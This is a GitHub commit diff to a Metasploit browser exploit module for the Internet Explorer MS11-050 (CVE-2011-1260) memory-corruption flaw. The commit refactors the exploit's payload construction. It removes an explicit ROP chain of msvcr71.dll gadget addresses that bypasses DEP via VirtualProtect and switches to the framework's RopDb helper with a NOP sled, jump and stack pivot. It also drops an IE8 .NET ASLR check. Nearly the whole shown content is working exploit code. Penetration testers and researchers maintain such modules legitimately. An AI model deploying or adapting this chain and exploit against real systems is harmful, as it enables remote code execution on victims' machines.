Skip to content

Commit 874fe64

Browse files
author
jvazquez-r7
committed
Merge branch 'ms11_050_ropdb_update' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-ms11_050_ropdb_update
2 parents 260d85c + 94d5eb7 commit 874fe64

File tree

1 file changed

+13
-49
lines changed

1 file changed

+13
-49
lines changed

modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb

Lines changed: 13 additions & 49 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,3 @@
1-
##
2-
# $Id$
3-
##
4-
51
##
62
# This file is part of the Metasploit Framework and may be subject to
73
# redistribution and commercial restrictions. Please see the Metasploit
@@ -15,19 +11,14 @@ class Metasploit3 < Msf::Exploit::Remote
1511
Rank = NormalRanking
1612

1713
include Msf::Exploit::Remote::HttpServer::HTML
14+
include Msf::Exploit::RopDb
1815
include Msf::Exploit::Remote::BrowserAutopwn
1916
autopwn_info({
2017
:ua_name => HttpClients::IE,
2118
:ua_minver => "7.0",
2219
:ua_maxver => "8.0",
2320
:javascript => true,
24-
:os_name => OperatingSystems::WINDOWS,
25-
# If it's IE 8, then we need .net to bypass ASLR
26-
:vuln_test => %Q|
27-
if (window.os_detect && ua_ver_eq(window.os_detect.ua_version, "8")) {
28-
if (/.NET CLR 2\\.0\\.50727/.test(navigator.userAgent)){ is_vuln = true }else{ is_vuln = false }
29-
}
30-
|,
21+
:os_name => OperatingSystems::WINDOWS
3122
})
3223

3324
def initialize(info={})
@@ -46,30 +37,29 @@ def initialize(info={})
4637
to bypass DEP (Data Execution Prevention).
4738
},
4839
'License' => MSF_LICENSE,
49-
'Version' => "$Revision$",
5040
'Author' =>
5141
[
5242
'd0c_s4vage', #Discovery, poc
5343
'sinn3r', #ROP (thx corelanc0d3r), Windows 7
54-
'bannedit', #Windows 7
44+
'bannedit' #Windows 7
5545
],
5646
'References' =>
5747
[
5848
['CVE', '2011-1260'],
5949
['OSVDB', '72950'],
6050
['MSB', 'MS11-050'],
61-
['URL', 'http://d0cs4vage.blogspot.com/2011/06/insecticides-dont-kill-bugs-patch.html'],
51+
['URL', 'http://d0cs4vage.blogspot.com/2011/06/insecticides-dont-kill-bugs-patch.html']
6252
],
6353
'DefaultOptions' =>
6454
{
6555
'EXITFUNC' => 'process',
66-
'InitialAutoRunScript' => 'migrate -f',
56+
'InitialAutoRunScript' => 'migrate -f'
6757
},
6858
'Payload' =>
6959
{
7060
'Space' => 500,
7161
'BadChars' => "\x00\x09\x0a\x0d'\\",
72-
'StackAdjustment' => -3500,
62+
'StackAdjustment' => -3500
7363
},
7464
'Platform' => 'win',
7565
'Targets' =>
@@ -185,42 +175,16 @@ def on_request_uri(cli, request)
185175
return
186176
end
187177

188-
#In case we're using ROP, initialize it now
189-
code = ''
190-
191178
if mytarget['Rop']
192-
# !mona -m msvcr71 rop
193-
code = [
194-
0x7c376402, # POP EBP # RETN [msvcr71.dll]
195-
0x7c376402, # skip 4 bytes [msvcr71.dll]
196-
0x7c347f97, # POP EAX # RETN [msvcr71.dll]
197-
0xfffff800, # Value to negate, will become 0x00000201 (dwSize)
198-
0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
199-
0x7c354901, # POP EBX # RETN [msvcr71.dll]
200-
0xffffffff,
201-
0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
202-
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
203-
0x7c344f87, # POP EDX # RETN [msvcr71.dll]
204-
0xffffffc0, # Value to negate, will become 0x00000040
205-
0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
206-
0x7c34d201, # POP ECX # RETN [msvcr71.dll]
207-
0x7c38b001, # &Writable location [msvcr71.dll]
208-
0x7c34b8d7, # POP EDI # RETN [msvcr71.dll]
209-
0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
210-
0x7c364802, # POP ESI # RETN [msvcr71.dll]
211-
0x7c3415a2, # JMP [EAX] [msvcr71.dll]
212-
0x7c347f97, # POP EAX # RETN [msvcr71.dll]
213-
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
214-
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
215-
0x7c345c30, # ptr to 'push esp # ret ' [msvcr71.dll]
216-
].pack("V*")
217-
218-
code << "\x90"*20 #Nops
219-
code << "\xeb\x04\xff\xff" #Jmp over the pivot
220-
code << [mytarget.ret].pack('V') #Stack pivot
179+
p = make_nops(44) #Nops
180+
p << "\xeb\x04\xff\xff" #Jmp over the pivot
181+
p << [mytarget.ret].pack('V') #Stack pivot
182+
p << payload.encoded
183+
184+
rop_payload = generate_rop_payload('java', p)
221185
end
222186

223-
code << payload.encoded
187+
code = (rop_payload) ? rop_payload : payload.encoded
224188

225189
# fill the vtable
226190
vtable = [mytarget['TargetAddr']].pack('V*')

0 commit comments

Comments
 (0)